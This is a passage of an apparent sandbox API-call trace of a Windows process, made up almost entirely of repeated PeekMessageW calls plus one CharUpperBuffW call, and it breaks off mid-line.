0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.235] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.236] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.236] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.237] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.238] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, 